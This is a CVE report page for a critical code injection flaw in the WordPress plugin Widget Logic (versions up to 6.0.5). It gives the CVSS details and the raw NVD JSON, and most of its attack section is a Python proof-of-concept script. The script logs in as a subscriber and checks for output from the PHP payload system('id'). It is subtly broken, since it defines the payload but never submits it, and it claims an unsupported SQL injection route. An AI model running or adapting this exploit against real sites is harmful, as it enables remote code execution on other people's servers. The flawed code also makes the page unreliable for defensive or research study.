Security Vulnerability Report
中文
CVE-2025-32222 CVSS 9.9 CRITICAL

CVE-2025-32222

Published: 2025-11-06 16:15:50
Last Modified: 2026-04-27 19:16:13

Description

Improper Control of Generation of Code ('Code Injection') vulnerability in Widgetlogic.org Widget Logic widget-logic allows Code Injection.This issue affects Widget Logic: from n/a through <= 6.0.5.

CVSS Details

CVSS Score
9.9
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Widget Logic <= 6.0.5 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re # CVE-2025-32222 Widget Logic RCE PoC # Target: WordPress site with vulnerable Widget Logic plugin (<=6.0.5) target_url = "http://target-wordpress-site.com" username = "subscriber_user" password = "user_password" session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data) # Step 2: Navigate to Widget Logic settings # Inject PHP code into widget logic field # Payload: system('id') - executes system command widget_logic_payload = "system('id')" # Step 3: Trigger the injected code by visiting page with the widget page_url = f"{target_url}/" response = session.get(page_url) # Step 4: Check for RCE success (command output in response) if "uid=" in response.text: print("[+] RCE Successful! Command executed.") print("[*] Check page source for command output") else: print("[-] RCE Failed or target not vulnerable") # Alternative: Direct plugin option update via SQL injection in wld_filter # POST to wp-admin/admin.php?page=widget_logic # Add malicious PHP to any widget's logic field

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-32222", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:15:50.237", "lastModified": "2026-04-27T19:16:12.900", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Generation of Code ('Code Injection') vulnerability in Widgetlogic.org Widget Logic widget-logic allows Code Injection.This issue affects Widget Logic: from n/a through <= 6.0.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/widget-logic/vulnerability/wordpress-widget-logic-6-0-5-remote-code-execution-rce-vulnerability?_s_id=cve", "source": "[email protected]"}]}}